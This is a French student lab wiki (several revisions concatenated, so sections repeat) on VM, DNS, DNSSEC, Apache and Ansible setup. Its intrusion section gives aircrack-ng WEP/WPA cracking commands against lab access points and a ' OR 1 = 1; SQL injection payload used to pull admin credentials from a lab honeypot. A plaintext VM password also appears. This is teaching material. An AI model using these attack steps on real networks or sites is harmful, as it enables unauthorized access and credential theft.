On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On <br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.<br />
<br />
==Setup Docker==<br />
On installe docker grâce à la commande <br />
$ ansible-galaxy install geerlingguy.docker<br />
<br />
on ajoute alors a polytech.yaml : <br />
- role: geerlingguy.docker<br />
tags: docker<br />
<br />
==Ip table==<br />
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.<br />
On créé un role dédié, nommé firewall.<br />
main.yml de firexall : <br />
---<br />
- name: "Block TCP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: " \{{item\}}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8500"<br />
- "8501"<br />
- "8502"<br />
- "8300"<br />
- "8301"<br />
- "8302"<br />
- name: "Block UDP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: "{{ item }}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8301"<br />
- "8302"</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=58005TP sysres IMA5 2021/2022 G112022-01-12T12:33:30Z<p>Cgodet1 : /* Ip table */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
==Setup SSH==<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On <br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.<br />
<br />
==Setup Docker==<br />
On installe docker grâce à la commande <br />
$ ansible-galaxy install geerlingguy.docker<br />
<br />
on ajoute alors a polytech.yaml : <br />
- role: geerlingguy.docker<br />
tags: docker<br />
<br />
==Ip table==<br />
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.<br />
On créé un role dédié, nommé firewall.<br />
main.yml de firexall : <br />
---<br />
- name: "Block TCP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: " <notextile>{</notextile>{<notextile>{</notextile> item <notextile>}}</notextile>"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8500"<br />
- "8501"<br />
- "8502"<br />
- "8300"<br />
- "8301"<br />
- "8302"<br />
- name: "Block UDP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: "{{ item }}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8301"<br />
- "8302"</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=58004TP sysres IMA5 2021/2022 G112022-01-12T12:33:04Z<p>Cgodet1 : /* Ip table */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
